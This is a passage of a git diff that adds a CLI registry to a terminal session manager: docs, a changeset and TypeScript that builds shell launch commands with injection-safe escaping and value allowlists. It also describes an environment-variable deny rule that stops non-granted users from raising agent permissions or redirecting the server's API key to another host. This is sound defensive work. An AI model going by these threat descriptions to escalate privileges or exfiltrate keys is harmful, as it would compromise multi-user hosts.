diff --git a/.changeset/cli-registry-core.md b/.changeset/cli-registry-core.md new file mode 100644 index 000000000..c19a0647d --- /dev/null +++ b/.changeset/cli-registry-core.md @@ -0,0 +1,39 @@ +--- +'aicodeman': minor +--- + +CLI backends are now a data-driven registry instead of a hardcoded set of run modes. Every +CLI (Claude Code, Terminal/Shell, OpenCode, Codex, Gemini, Antigravity, Pi, Grok and DeepSeek +Harness) is a `CliEntry` in `src/config/cli-registry/`, and the code that used to branch on a +CLI's name now reads capability flags off that entry instead. + +This is an **internal refactor with no behaviour change**: no new endpoints, no new settings, +no change to any request or response shape, and the spawn command every CLI receives is +byte-identical to what the hand-written builders produced. `test/cli-registry-spawn-golden.test.ts` +pins those command lines as literal strings, captured from the previous builders before they +were removed. + +What the registry owns: binary discovery (search paths, version and identity probes), the +launch argv template, environment handling (exports, `tmux setenv` keys, the env-override +allowlist), the multi-user privileged-parameter clamps, and the behavioural capabilities the +rest of the app reads (`isExternalCliMode`, `isAltScreenStripMode`, `hooksAvailableForMode`, +alt-screen strip class, echo policy, transcript format, and friends). `codeman doctor`'s +per-CLI rows are generated from the same entries, so its version rules and the run modes' +resolvers can no longer disagree about whether a given binary counts as installed. + +Two smaller fixes ride along, both enabled by the registry: + +- Session-mode and env-prefix validation now resolve **at request-parse time** rather than + being frozen when the module was first imported. +- `probeDockerCliVersion()` derives the in-container binary name from the registry rather + than assuming it equals the mode name. Only Claude reaches that path today, so nothing was + broken in practice, but `antigravity` runs `agy` and the assumption would not have + survived the next CLI that needs a version. + +A user-editable `~/.codeman/clis.json` can override any stock entry or add a custom CLI. It +is READ-ONLY in this release — nothing writes it, so importing the registry has no filesystem +side effects. Config never contains shell text: an entry declares typed argv tokens, every +literal is validated against a safe-word pattern at load, and values resolve through named +patterns that live in code, so a `clis.json` cannot widen its own validation. +`test/cli-registry-no-id-branching.test.ts` fails the build if per-CLI-id branching reappears +outside the stock catalog. diff --git a/CLAUDE.md b/CLAUDE.md index 5dbef0bbd..b50370b3d 100644 --- a/CLAUDE.md +++ b/CLAUDE.md @@ -205,6 +205,8 @@ Codeman is a Claude Code session manager with web interface and autonomous Ralph **Docker cases**: a case can point at a **container**, with any of the CLI run modes running inside it. Like remote-SSH this is a **LOCATION OVERLAY on cases, never a `SessionMode` of its own**. Exactly one long-lived container **per case**, shared by all its sessions, so killing a session kills only that session's in-container tmux and **never** `docker stop` while siblings remain. The workspace is a real host dir bind-mounted at the **same absolute path**, which is what keeps file-routes/watchers on real host bytes and makes the in-container transcript projHash match the host. Credentials are **seeded** (RO mount, copied into the container once) rather than shared RW, so in-container CLIs never write refreshed tokens back to the host, and bind mounts are excluded from `docker commit` so exports stay secret-free. **NEVER a create-time `-e` for secrets, NEVER `--privileged`, NEVER the docker socket.** Config drift is detected via a label hash and a drifted launch is REFUSED rather than silently launched with stale config. ⚠️ On the loopback-only prod bind a container cannot reach 127.0.0.1, so in-container hooks need `CODEMAN_DOCKER_BRIDGE_HOOKS=1`; otherwise idle detection falls back to output-based. → [architecture-invariants#docker-cases](docs/architecture-invariants.md#docker-cases), `docs/docker-cases.md` (user guide), `docs/docker-cases-plan.md` (design) +**CLI registry** (`src/config/cli-registry/`): every run mode is a `CliEntry` — discovery (search dirs, version + identity probes), the launch argv template, env handling, and the `capabilities` flags that replace per-CLI branching. **No code outside `stock.ts` may branch on a CLI id**; behaviour that genuinely differs is either a capability field or a NAMED PROFILE selected by one (`profiles.ts`), and `test/cli-registry-no-id-branching.test.ts` fails the build if an id check reappears. ⚠️ Config contains no shell text: an entry declares typed argv tokens, literals are validated against a safe-word pattern at LOAD time (a bad literal rejects the whole entry — a silently dropped `--no-approve` is not cosmetic), and values resolve through patterns NAMED in code, so a user `clis.json` cannot widen its own validation. ⚠️ `external`, `hooks` and `altScreen` are three INDEPENDENT capabilities on purpose; deriving one from another shipped the `until=stop`-hangs-on-shell bug. Spawn commands are pinned as literal strings in `test/cli-registry-spawn-golden.test.ts`. `~/.codeman/clis.json` overrides any entry (read-only in this release; nothing writes it, so importing the registry has no filesystem side effects). → `docs/cli-registry.md` + **External CLI modes (OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek)**: `isExternalCliMode()` in `session.ts` gates Claude-specific behavior off (Ralph tracker, BashToolParser, token/CLI-info parsing, ❯-prompt readiness); these CLIs render their own TUIs, so readiness is output stabilization instead. All seven **require tmux with no direct PTY fallback**, because secrets are injected via socket-scoped `tmux setenv` and never on the spawn command line. ⚠️ `run*()` in `session-ui.js` MUST unwrap the `{success,data}` envelope; reading the raw shape silently breaks the run. ⚠️ **Codex sessions use PREDICTIVE WRITE-THROUGH echo, never the buffer overlay** (`_localEchoPolicy` in `_updateLocalEchoState`, terminal-ui.js): codex's composer reacts per keystroke ("/" pops a live-filtering picker, arrows edit server-side state, the composer grows as it wraps), so buffer-until-Enter starved it into issues #218/#219/#220/#222 and stays disabled (`_localEchoEnabled` remains false for codex). Instead, `PredictiveEchoAddon` (separate `vendor/xterm-predictive-echo.js` bundle) paints each keystroke at the predicted cell while the wire path stays BYTE-IDENTICAL: the onData hook (`_predictHookOnData`) is a plain statement with no `return`, so control always falls through into the untouched send path — pinned by vm and E2E byte-identity tests. Predictions reconcile against the parsed buffer and only while the cursor sits on the measured composer row (`isCodexComposerRow`, `/^› /`). Codex also **drops keystrokes that share a PTY read with a bracketed paste**, so flushed text and the paste sequence must go out as separate delayed writes (mirroring the Enter branch's delayed `\r`). Tests: `test/local-echo-codex-gating.test.ts`, `test/codex-predictive-echo.test.ts` (E2E vs real codex), `packages/xterm-zerolag-input/test/codex-replay.test.ts`. ⚠️ **Pi is the opposite kind of CLI and needs the opposite instincts**: it has NO permission prompts and no sandbox, so there is no bypass flag to send and Codeman must not invent one; its privileged knob is the tri-state `approveProjectTrust` (`--approve`/`--no-approve`), which makes pi EXECUTE repo-local `.pi/extensions` TypeScript, so the multi-user clamp puts pi in the **materialize** branch (an absent config still yields `--no-approve` for a non-granted owner) and `--api-key` is never wired. Pi stays OUT of `isAltScreenStripMode()` (main-screen TUI, and its 0.84.0 fullscreen mode is runtime-switchable via `/settings`, where the alt screen is load-bearing), and lands on the `'buffer'` echo policy via the `_updateLocalEchoState` fallthrough. Pi's own tests: `test/pi-mode.test.ts`, `test/routes/external-cli-bypass-clamp.test.ts`; user guide `docs/pi-integration.md`. ⚠️ **Grok is codex-shaped on permissions but opencode-shaped on rendering**: its bypass switch is `alwaysApprove` (`--always-approve`, grok's `bypassPermissions` mode — the Run button sends it `true` like antigravity's, and the clamp's only-if-sent branch strips it for non-granted owners), while its fullscreen alt-screen TUI keeps it OUT of `isAltScreenStripMode()`; the resolver version-probes `grok --version` like pi's (npm squatters exist for the name — `GET /api/grok/status` surfaces path + version), and grok lands on the `'buffer'` echo policy via the fallthrough (UNMEASURED against a live authenticated session; if its composer turns out per-keystroke-reactive like codex, flip it to the `'off'` branch). Grok's own tests: `test/grok-mode.test.ts`, `test/grok-cli-resolver.test.ts`; user guide `docs/grok-integration.md`. ⚠️ **DeepSeek breaks three of this family's assumptions, so do not pattern-match it onto its siblings.** (1) The agent is a **PROFILE, not the binary**: `dsh` is a launcher over `$DSH_HOME/profiles/` and DeepSeek ships only `web`/`headless`/`base`, so the terminal front door is ALWAYS third-party and "installed" ≠ "runnable" — the Run button gates on `isDeepSeekRunnable()` (binary AND a pane-capable profile) while `isDeepSeekAvailable()` gates the "add a profile" affordance; a `web`/`headless` profile is refused at spawn because it cannot drive a pane. (2) The permission switch is the **`DSH_PERMISSION_MODE` env export, not a flag** (`read-only`/`workspace-write`/`danger-full-access`) — the harness has none, and this is the one legitimate exception to the effort-style env-var ban because it is read with `??` as a boot-time default, so it stays soft; absent = `workspace-write`, which asks, hence the only-if-sent clamp branch, clamping to `workspace-write` (never `read-only`, which would break the workspace). ⚠️ **That clamp needs a second half no other CLI needs**, because the switch is an env var and `DSH_*` is an allowlisted `envOverrides` prefix: `applyEnvOverrides()` runs AFTER `_configureDeepSeek()` in tmux-manager, so a non-granted owner sending `DSH_PERMISSION_MODE` on the SAME request would land last and hand back exactly the privilege the config clamp removed. `clampEnvOverridesForOwner()` (session-routes.ts) DROPS `DSH_PERMISSION_MODE`, `DSH_HOME` and `DEEPSEEK_BASE_URL` for a non-granted owner (the last because `_configureDeepSeek()` forwards the SERVER's own `DEEPSEEK_API_KEY` into the pane, so a redirected base URL would send it to a foreign host) (dropping falls through to what `_configureDeepSeek()` exports, which is the clamped value); `DSH_HOME` is there because it points the launcher at a profile tree whose plugin code runs at BOOT, before any approval row applies. Every OTHER CLI's bypass is a command-line flag reachable only through its config, which is why the config clamp alone is the whole gate for them. (3) It is the **only non-claude mode that passes `hooksAvailableForMode()`**, and for it alone that predicate is a per-SESSION question rather than a per-mode one (`deepSeekConfig.statusReporting: false` disarms the bridge, so every call site passes `sessionHookOptions(session)`; answering from the mode there re-creates the infinite-wait-dressed-as-a-timeout the guard exists to prevent). It passes because the terminal front door reports idle/working/blocked to a supervisor over a generic env-gated contract and `deepseek-status-shim.ts` makes Codeman that supervisor — real `stop`/`blocked` signals, real Approvals Inbox items, plus the `agent_working` event that clears an alert answered in the terminal. ⚠️ The resolver needs the strictest identity probe of the family (`dsh --help` must say `DeepSeek Harness`) because Debian ships an unrelated `dsh` (dancer's shell) that would pass a version probe. Model is NOT a session field (it is a profile composition entry). ⚠️ `hooksAvailableForMode()` is about hook SIGNALS and is not a stand-in for "is this a claude session": Read My Mind and intent capture read Claude's own transcript and compare `mode === 'claude'` directly, because when `deepseek` earned a yes the shared predicate silently widened both to a mode with no transcript to read (pinned by a static check in `test/deepseek-mode.test.ts`). ⚠️ **It is also the only external CLI whose answers are READ FROM DISK rather than scraped off the pane**: `deepseek-transcript.ts` reads `$DSH_HOME/sessions///session.jsonl.zstd` and backs the `last-response` route for dsh, because the pane segmenter served dsh-TUI's ASCII-art SPLASH as the worker's answer (measured), which anything polling for a first answer reads as an answer. Three traps live in that file: dsh appends **one zstd FRAME per write** and Node's `zlib` zstd decoder stops at the first (a real 56-line transcript decoded as 1 line, so the module walks frame headers itself; a Node older than 22.15 has no zstd and falls back to the pane); every turn also records a **plugin-sourced `user/message`** (the runtime-context snapshot) that must not render as the user's words; and a failed `turn/end` is surfaced as `Turn error: …` rather than as an empty string that reads as "still thinking". ⚠️ Session→transcript pairing is by the header's own `cwd` plus a ±60 s boot window, never by reproducing dsh's directory mangling (which has already changed form once) — and NEVER by newest-mtime alone, which handed a fresh worker its predecessor's answer in the same case dir. DeepSeek's own tests: `test/deepseek-mode.test.ts`, `test/deepseek-cli-resolver.test.ts`, `test/deepseek-transcript.test.ts`; user guide `docs/deepseek-integration.md`. → [architecture-invariants#external-cli-modes-opencode-codex-gemini-antigravity-pi-grok-deepseek](docs/architecture-invariants.md#external-cli-modes-opencode-codex-gemini-antigravity-pi-grok-deepseek) **Run launch synchronization**: the Run entrypoint holds an in-flight lock and disables `#runBtn` for the whole launch (≥500ms), so a double click cannot create duplicate sessions with the same `w-` name. `_ensureCreatedSessionVisible()` runs before `selectSession()`, and `_onSessionCreated()` stays an idempotent upsert, so POST-first and SSE-first ordering both produce exactly one rendered tab. ⚠️ **Closing has the mirror-image race and one owner**: `closeSession()` reads `wasActive` BEFORE its `await` and announces the delete via `_closingSessions`, while `_onSessionDeleted` skips the active-session handoff for an id in that set. Both used to read `activeSessionId` after the fact, so the `session_deleted` broadcast for your own delete could null it first and closing the tab you were on landed on the welcome screen instead of the next session, on the same build, depending on timing. The fallback also picks the first order entry that is still in `sessions` (a dead id can linger in `sessionOrder`, same reason Alt+N indexes a live-filtered list). A delete from ANOTHER client still shows the welcome screen, which is the honest answer when what you were looking at was taken away. Tests: `test/session-close-fallback.test.ts`. → [architecture-invariants#run-launch-synchronization](docs/architecture-invariants.md#run-launch-synchronization) diff --git a/docs/cli-registry.md b/docs/cli-registry.md new file mode 100644 index 000000000..4f08aba5c --- /dev/null +++ b/docs/cli-registry.md @@ -0,0 +1,108 @@ +# CLI Registry + +Codeman's set of supported CLI backends is **data, not code**. Every CLI — Claude Code, a plain shell, OpenCode, Codex, Gemini, Antigravity, Pi, Grok, DeepSeek Harness, or one you add yourself — is a `CliEntry` in a central registry. Nothing downstream branches on a CLI's name; it reads capability flags instead. + +## Where it lives + +| Layer | File | Role | +| -------------- | ----------------------------------- | ----------------------------------------------------------------------------------------------------------- | +| Stock catalog | `src/config/cli-registry/stock.ts` | Compiled into the app. The nine shipped entries. The ONLY file allowed to name a CLI by id. | +| User overrides | `~/.codeman/clis.json` | **Overrides and custom entries only**, never a full copy of the catalog. Small and hand-editable by design. | + +At load time (`registry.ts`) the stock catalog is deep-merged with `~/.codeman/clis.json`: objects merge key-wise, **arrays replace wholesale** (a half-merged `searchDirs`, or worse a half-merged argv list, is not a reasonable thing to hand a spawn path). A malformed **stock** override falls back to the pristine shipped definition rather than bricking a CLI; a malformed **custom** entry is dropped with a warning rather than failing the whole load. Malformed JSON is renamed to `clis.json.invalid-` rather than overwritten, because a syntax error in a hand-edited file is far more likely to be a half-finished edit than junk. + +> **Read-only in this release.** Nothing writes `clis.json` — there is no settings UI and no write API yet. That also means importing the registry (which `src/web/schemas.ts` does, transitively, just to validate a request) performs no filesystem writes. + +A group- or world-writable `clis.json` is ignored with a warning. This file selects the binaries Codeman spawns, so a writable one is a way to redirect every session. The check is POSIX-only: Node reports every file as mode `0o666` on NTFS, so `win32` relies on ACLs instead. + +## The shape of an entry + +Full definitions: `src/config/cli-registry/types.ts`. + +```ts +interface CliEntry { + id: CliId; // 'codex' — becomes the run-mode id everywhere + label: string; // 'Codex' — shown in menus + shortBadge: string; // tab badge, e.g. 'CX' + accent: string; // single hex colour + enabled: boolean; + stock: boolean; // set by the loader; a custom entry can never claim it + order: number; + kind: 'agent' | 'shell'; + discovery: CliDiscovery; // how to find and prove the binary + launch: CliLaunch; // the structured argv template + env: CliEnv; // exports, tmux setenv keys, the env-override allowlist + capabilities: CliCapabilities; // what every call site reads instead of the id + overlays: CliOverlays; // remote-SSH / Docker overrides, credential store +} +``` + +`capabilities` is the important part. It is what `isExternalCliMode()`, `isAltScreenStripMode()`, `hooksAvailableForMode()` and every other former per-mode branch actually read. + +### Three capabilities that must stay independent + +`external`, `hooks` and `altScreen` describe three different, deliberately unequal sets, and deriving any one from another has already shipped a bug. `shell` has no hooks but is **not** an external CLI, so a hooks predicate written as `!isExternalCliMode()` accepted `until=stop` on a shell session and then blocked the caller for their entire timeout. `deepseek` is the mirror image: it IS external and it DOES have hooks. + +`test/cli-capability-predicates.test.ts` asserts that no two of the three are equivalent across the catalog, so collapsing them fails the build rather than a user's session. + +## Arg-template safety + +The composed command line is interpolated into `bash -c "…"` inside tmux, which makes command construction a security boundary. Four independent layers keep config out of it: + +1. **Config contains no shell text.** There is no `command: "..."` field anywhere in the schema. An entry declares a sequence of typed tokens; `argv.ts` is the only place that turns them into a string, and it owns every separator itself — one space between tokens, ` || ` between fallback variants. Neither can originate from config, because config has no field that could hold either. +2. **Every literal is validated at LOAD time** against a safe-word pattern (no space, quote, backtick, `$`, `;`, `&`, `|`, redirection, parens, braces, newline or backslash). A bad literal **rejects the whole entry** rather than being dropped, because a silently dropped flag would change security-relevant behaviour — losing `--no-approve` is not a cosmetic difference. +3. **Values resolve through NAMED patterns.** A value placeholder selects a `TokenPattern` (`model`, `uuid`, `slug`, `path-segment`, `tool-list`, …) from `patterns.ts`; config can never supply its own regex for a value, so a `clis.json` structurally cannot widen its own validation. A value that fails its pattern drops the whole argument, exactly as the hand-written builders did: an invalid `--model` omits `--model`, it never substitutes something else. +4. **Escaping is independent of validation.** `renderToken()` re-checks the resolved value before emitting it unquoted, and single-quotes anything else — so even a value that somehow bypassed validation is quoted, never concatenated raw. + +The only config-supplied regexes are `discovery.version.regex` and `discovery.identity.regex`. Both run against **command output** rather than a shell token, both are compiled through `compileVersionRegex()` (length cap, nested-quantifier rejection, never the `g` flag), and the output they see is truncated first. + +## Named profiles: the escape hatch + +Some behaviour is genuinely code-shaped and cannot be data. Rather than let that become an id check, a registry field **names a profile** and the implementation lives in code: + +| Field | Names | Implementation | Used by | +| ---------------------------- | -------------------- | -------------------------- | ------------------------------------------- | +| `capabilities.echo.predictProfile` | a predictive-echo profile | `packages/xterm-zerolag-input/` | codex | +| `discovery.launcherProfile` | a launcher profile | `src/utils/cli-launcher.ts` | deepseek | +| `env.setenvProfile` | extra `tmux setenv` work | `src/tmux-manager.ts` | deepseek | + +The names themselves live in `profiles.ts`, which is kept import-free so `schema.ts` can validate a name at **load** time — an entry naming a profile this build does not implement fails loudly instead of silently failing closed later. + +A profile is a last resort. Anything that is a list, a flag or a string belongs in the entry as data, where a custom CLI can use it too. + +## DeepSeek: the four assumptions it breaks + +DeepSeek Harness needs more from the schema than its siblings, and the reasons are worth knowing before adding another CLI that looks unusual. + +| Fact | What the schema grew | +| ------------------------------------------------------------------------ | ------------------------------------------------------------------------------------------------------------ | +| `dsh` is a **profile launcher**, not the agent. DeepSeek ships only `web`/`headless`/`base`, none of which can drive a pane, so the terminal front door is always third-party — "installed" is not "runnable". | `discovery.launcherProfile` + `launcherTargetParam`, and the `launcherDefaultTarget` engine value. | +| Its permission switch is the **`DSH_PERMISSION_MODE` env var**, not a flag — the harness has none. | `env.configSetenv` (so the ordinary `privilegedParams` clamp still reaches it) **and** `capabilities.privilegedEnvKeys`. | +| Whether hooks are available is a **per-session** question, not a per-mode one. | `capabilities.hooks` widened from a boolean to `'none' \| 'always' \| 'supervised'`. | +| Its transcript is **zstd session files**, one frame per write. | `capabilities.transcript` gained `'deepseek-zstd'`. | + +The env-var clamp is the half no other CLI needs, and it is worth spelling out why. Every other CLI's bypass is a command-line flag reachable only through its own config object, so clamping that object is the whole gate. DeepSeek's is an env var, `DSH_*` is an allowlisted `envOverrides` prefix, and `applyEnvOverrides()` runs **after** the per-CLI env configure step — so without `privilegedEnvKeys`, a non-granted owner could send `DSH_PERMISSION_MODE` on the very same request and land after the config clamp, handing back exactly the privilege it removed. `DSH_HOME` is dropped too (it points the launcher at a profile tree whose plugin code runs at boot), and so is `DEEPSEEK_BASE_URL` (which would redirect the server's own forwarded `DEEPSEEK_API_KEY` to a host of the caller's choosing). + +## Identity probes + +`requireVersionMatch` catches a binary whose version output has the wrong SHAPE. An identity probe catches one whose output has the right shape but names the wrong program, and it runs **first** so an impostor is rejected before its version is ever parsed. + +This matters more than it sounds: Debian ships an unrelated `dsh` (dancer's shell) that answers `--version` perfectly happily, and npm carries squatters for both `pi` and `grok`. + +## The no-id-branching rule + +`test/cli-registry-no-id-branching.test.ts` fails the build if a `mode === ''` comparison appears outside the stock catalog. It builds its id list from the live catalog, strips comments before scanning (comments legitimately quote the pattern to explain why a branch was removed), and keeps an allowlist in which **every entry carries its reason**. + +The allowlist is not a formality. If a branch is about what a CLI can DO it belongs in `CliCapabilities`; the entries that remain are things that are not CLI-behaviour branches at all — chiefly the legacy per-mode `Config` objects on `POST /api/sessions`, which are a fact about the public HTTP API rather than about any CLI. + +## Adding a CLI + +1. Add a `CliEntry` to `stock.ts`. +2. Add a golden spawn-command pin to `test/cli-registry-spawn-golden.test.ts` and a row to `test/cli-capability-predicates.test.ts`. +3. That is usually all. If you find yourself wanting to add an `if` somewhere, the guard test will tell you — and the answer is a capability field, or a named profile if it genuinely needs to run code. + +## See also + +- [Agent CLIs](wiki/Agent-CLIs.md) — the user-facing per-CLI guide. +- `docs/architecture-invariants.md` — the mechanics and the history behind the rules above. +- `docs/deepseek-integration.md` — why DeepSeek is shaped the way it is. diff --git a/src/config/cli-registry/argv.ts b/src/config/cli-registry/argv.ts new file mode 100644 index 000000000..ddbc88b90 --- /dev/null +++ b/src/config/cli-registry/argv.ts @@ -0,0 +1,190 @@ +/** + * @fileoverview The argv rendering engine — turns a `CliLaunch` spec plus a set of resolved + * parameter values into the shell command string that goes into `bash -c "..."`. + * + * SECURITY MODEL (read before touching this file): + * + * 1. Config contains no shell text. There is no `command: "..."` field anywhere in the + * schema. An entry declares a sequence of typed tokens (`ArgSpec`); this module is the + * ONLY place that turns them into a string, and it owns every separator itself: a single + * space between tokens, and ` || ` between fallback variants. Neither can originate from + * config, because config has no field that could hold either. + * 2. Every literal (`lit`, `flag`, `value`) is validated against `SAFE_BARE_TOKEN` — no + * space, quote, backtick, `$`, `;`, `&`, `|`, `<`, `>`, parens, braces, newline or + * backslash — at LOAD time (see schema.ts), so a bad literal fails registry validation + * rather than reaching this renderer. + * 3. Every `valueFrom` resolves through a declared `ParamSpec`, whose `token` variant names + * a PATTERN rather than accepting one — see patterns.ts. A value that fails its pattern + * causes the WHOLE ArgSpec to be dropped, exactly like the hand-written builders this + * replaces (an invalid `--model` value silently omits `--model`, it does not substitute + * something else). + * 4. Escaping and validation are independent. `renderToken()` always re-checks the resolved + * value against `SAFE_BARE_TOKEN` before emitting it unquoted; anything else is + * single-quote-escaped. So even a value that somehow bypassed pattern validation is still + * quoted, never concatenated raw. + * + * @module config/cli-registry/argv + */ + +import type { ArgSpec, CliEntry, CliLaunch, Cond, EngineValue, ParamSpec, QuoteStyle } from './types.js'; +import { matchesPattern } from './patterns.js'; +import { SAFE_BARE_TOKEN } from './patterns.js'; + +/** Resolved parameter values, keyed by the name declared in `CliLaunch.params`. */ +export type ParamValues = Record; + +/** Values the caller supplies for the reserved engine params. */ +export type EngineValues = Partial>; + +/** + * POSIX single-quote escaping: end-quote, escaped-literal-quote, restart-quote. Identical in + * shape to the three copies already in the codebase (tmux-manager.ts, remote-hosts.ts, + * docker-hosts.ts) — kept local rather than importing one of them so this module has no + * dependency on the files it is replacing. + */ +function singleQuoteEscape(value: string): string { + return `'${value.replace(/'/g, `'\\''`)}'`; +} + +function doubleQuoteEscape(value: string): string { + // Escape the characters that are special inside a double-quoted bash string. SAFE_BARE_TOKEN + // already excludes all of them, so in practice this never fires; kept as defense in depth. + return `"${value.replace(/([$`"\\])/g, '\\$1')}"`; +} + +/** + * Render a single resolved value per its requested quote style. `auto` (the default) emits + * bare only when the value is provably safe; every other case single-quotes. + */ +function renderToken(value: string, style: QuoteStyle | undefined): string { + const safe = SAFE_BARE_TOKEN.test(value); + switch (style) { + case 'double': + return doubleQuoteEscape(value); + case 'single': + return singleQuoteEscape(value); + case 'bare': + return safe ? value : singleQuoteEscape(value); + case 'auto': + default: + return safe ? value : singleQuoteEscape(value); + } +} + +/** Resolve one parameter to a plain string, or undefined if it is unset / invalid. */ +function resolveParam( + name: string, + spec: ParamSpec | undefined, + params: ParamValues, + engineValues: EngineValues +): string | undefined { + if (!spec) return undefined; + if (spec.type === 'engine') return engineValues[spec.source]; + + const raw = params[name]; + if (raw === undefined) return spec.type === 'enum' ? spec.default : undefined; + + if (spec.type === 'bool') return typeof raw === 'boolean' ? String(raw) : undefined; + if (spec.type === 'enum') { + const s = String(raw); + return spec.values.includes(s) ? s : spec.default; + } + // token + const s = String(raw); + return matchesPattern(spec.pattern, s) ? s : undefined; +} + +/** Is the resolved value "set" for the purposes of a `state` condition? */ +function isSet(name: string, params: ParamValues, resolved: (n: string) => string | undefined): boolean { + if (name in params) { + const raw = params[name]; + if (typeof raw === 'boolean') return true; // a bool param is always "set" once declared + } + return resolved(name) !== undefined; +} + +function evalCond( + cond: Cond | undefined, + params: ParamValues, + resolved: (n: string) => string | undefined, + gatesPassed: ReadonlySet +): boolean { + if (!cond) return true; + if ('allOf' in cond) return cond.allOf.every((c) => evalCond(c, params, resolved, gatesPassed)); + if ('anyOf' in cond) return cond.anyOf.some((c) => evalCond(c, params, resolved, gatesPassed)); + if ('not' in cond) return !evalCond(cond.not, params, resolved, gatesPassed); + if ('capabilityGate' in cond) return gatesPassed.has(cond.capabilityGate); + if ('state' in cond) { + const set = isSet(cond.param, params, resolved); + return cond.state === 'set' ? set : !set; + } + // { param, is } + const raw = params[cond.param]; + if (typeof cond.is === 'boolean') return raw === cond.is; + return resolved(cond.param) === cond.is; +} + +function renderArg( + spec: ArgSpec, + params: ParamValues, + resolved: (n: string) => string | undefined, + gatesPassed: ReadonlySet +): string | null { + if (!evalCond(spec.when, params, resolved, gatesPassed)) return null; + + if ('lit' in spec) return spec.lit; + if ('flag' in spec && !('value' in spec) && !('valueFrom' in spec)) return spec.flag; + if ('flag' in spec && 'value' in spec) return `${spec.flag} ${renderToken(spec.value, spec.quote)}`; + if ('flag' in spec && 'valueFrom' in spec) { + const v = resolved(spec.valueFrom); + return v === undefined ? null : `${spec.flag} ${renderToken(v, spec.quote)}`; + } + // bare positional + const v = resolved((spec as { valueFrom: string }).valueFrom); + return v === undefined ? null : renderToken(v, (spec as { quote?: QuoteStyle }).quote); +} + +/** + * Render one CLI's launch command. Returns the full `bash -c` payload — never a shell + * fragment with embedded newlines or unescaped separators, by construction (see file header). + * + * `gatesPassed` — the set of `capabilities.gates` keys whose version requirement is + * currently satisfied. Callers compute this once per spawn (it depends on a version probe), + * never inside the renderer, keeping this function pure and easy to test byte-for-byte. + */ +export function renderLaunch( + launch: CliLaunch, + params: ParamValues, + engineValues: EngineValues, + gatesPassed: ReadonlySet = new Set() +): string { + const cache = new Map(); + const resolved = (name: string): string | undefined => { + if (cache.has(name)) return cache.get(name); + const v = resolveParam(name, launch.params[name], params, engineValues); + cache.set(name, v); + return v; + }; + + const passing = launch.variants.filter((variant) => evalCond(variant.when, params, resolved, gatesPassed)); + const chosen = launch.chain === 'fallback' ? passing : passing.slice(0, 1); + + const rendered = chosen.map((variant) => + variant.args + .map((arg) => renderArg(arg, params, resolved, gatesPassed)) + .filter((tok): tok is string => tok !== null) + .join(' ') + ); + + return rendered.join(' || '); +} + +/** Convenience: render an entry's launch command straight from a `CliEntry`. */ +export function renderCliCommand( + entry: CliEntry, + params: ParamValues, + engineValues: EngineValues, + gatesPassed?: ReadonlySet +): string { + return renderLaunch(entry.launch, params, engineValues, gatesPassed); +} diff --git a/src/config/cli-registry/index.ts b/src/config/cli-registry/index.ts new file mode 100644 index 000000000..d16989679 --- /dev/null +++ b/src/config/cli-registry/index.ts @@ -0,0 +1,61 @@ +/** + * @fileoverview Barrel for the CLI registry module. + * @module config/cli-registry + */ + +export type { + ArgSpec, + CliCapabilities, + CliCredStore, + CliDiscovery, + CliEntry, + CliEnv, + CliId, + CliIdentityProbe, + CliLaunch, + CliOverlays, + CliRegistryFile, + CliVariant, + CliVersionProbe, + Cond, + EngineValue, + ParamSpec, + QuoteStyle, +} from './types.js'; +export { + matchesPattern, + TOKEN_PATTERNS, + SAFE_BARE_TOKEN, + compileVersionRegex, + MAX_VERSION_OUTPUT, +} from './patterns.js'; +export type { TokenPattern } from './patterns.js'; +export { renderLaunch, renderCliCommand } from './argv.js'; +export type { EngineValues, ParamValues } from './argv.js'; +export { CliEntrySchema } from './schema.js'; +export type { ValidatedCliEntry } from './schema.js'; +export { STOCK_CLIS } from './stock.js'; +export { + asCliId, + cliIds, + enabledCliIds, + enabledClis, + getCli, + listClis, + loadCliRegistry, + reloadCliRegistry, + resolveInstallCommandForPlatform, + resolveRegistry, +} from './registry.js'; +export type { LoadResult } from './registry.js'; +export { + COMPOSER_ANCHOR_KINDS, + isKnownLauncherProfile, + isKnownPredictProfile, + isKnownSetenvProfile, + LAUNCHER_PROFILE_NAMES, + PREDICT_PROFILES, + SETENV_PROFILE_NAMES, + TRANSCRIPT_READER_NAMES, +} from './profiles.js'; +export type { LauncherProfileName, SetenvProfileName } from './profiles.js'; diff --git a/src/config/cli-registry/patterns.ts b/src/config/cli-registry/patterns.ts new file mode 100644 index 000000000..20787a57f --- /dev/null +++ b/src/config/cli-registry/patterns.ts @@ -0,0 +1,121 @@ +/** + * @fileoverview Named value patterns for the CLI registry's argv engine. + * + * Config entries select a pattern BY NAME; the regexes themselves live here, in code. + * That is deliberate and is the reason a user-editable `clis.json` cannot widen its own + * validation: there is no field anywhere in the schema that accepts a raw regex for a + * shell token, so no entry can supply `.*` (nor a catastrophically backtracking one). + * + * The sole user-supplied regex in the whole registry is `discovery.version.regex`, which + * is applied to `--version` OUTPUT rather than to a shell token, and goes through + * `compileVersionRegex()` below. + * + * Every pattern here is transcribed from the builder it replaces in tmux-manager.ts, so + * the argv engine accepts and rejects exactly the values the hand-written builders did. + * + * @module config/cli-registry/patterns + */ + +/** Names a value pattern. Config may only reference these. */ +export type TokenPattern = + | 'model' + | 'model-claude' + | 'model-pi' + | 'id' + | 'id-dotted' + | 'uuid' + | 'slug' + | 'path-segment' + | 'tool-list' + | 'config-kv'; + +/** + * The patterns, each traced to the builder it came from. + * + * ⚠️ These are ALLOWLISTS (`^...$` over a safe character class), never blocklists — with + * one deliberate exception, `tool-list`, which mirrors the existing `--allowedTools` + * sanitizer. That one is a metacharacter REJECTION because tool specs legitimately contain + * `(`, `)`, `*`, `:` and spaces (`Bash(git:*), Read`), so an allowlist of safe words cannot + * express it. Keeping it byte-identical to the original matters more than making it uniform. + */ +const PATTERNS: Record = { + // buildOpenCodeCommand / buildCodexCommand / buildGeminiCommand / buildAntigravityCommand + model: /^[a-zA-Z0-9._\-/]+$/, + // buildSpawnCommand's claude branch — `[` and `]` for bracketed model aliases + 'model-claude': /^[a-zA-Z0-9._\-[\]]+$/, + // buildPiCommand — `:` for a thinking suffix (`sonnet:high`), `/` for `provider/id` + 'model-pi': /^[a-zA-Z0-9._\-/:]+$/, + // opencode --session, codex resume + id: /^[a-zA-Z0-9_-]+$/, + // gemini --resume, antigravity --conversation, pi --session + 'id-dotted': /^[a-zA-Z0-9._-]+$/, + // claude --resume / --session-id + uuid: /^[a-f0-9-]+$/, + // pi --provider + slug: /^[a-z0-9-]+$/, + // dsh --profile. Deliberately STRICTER than `id-dotted`: a profile name is both + // interpolated into the shell line AND joined into 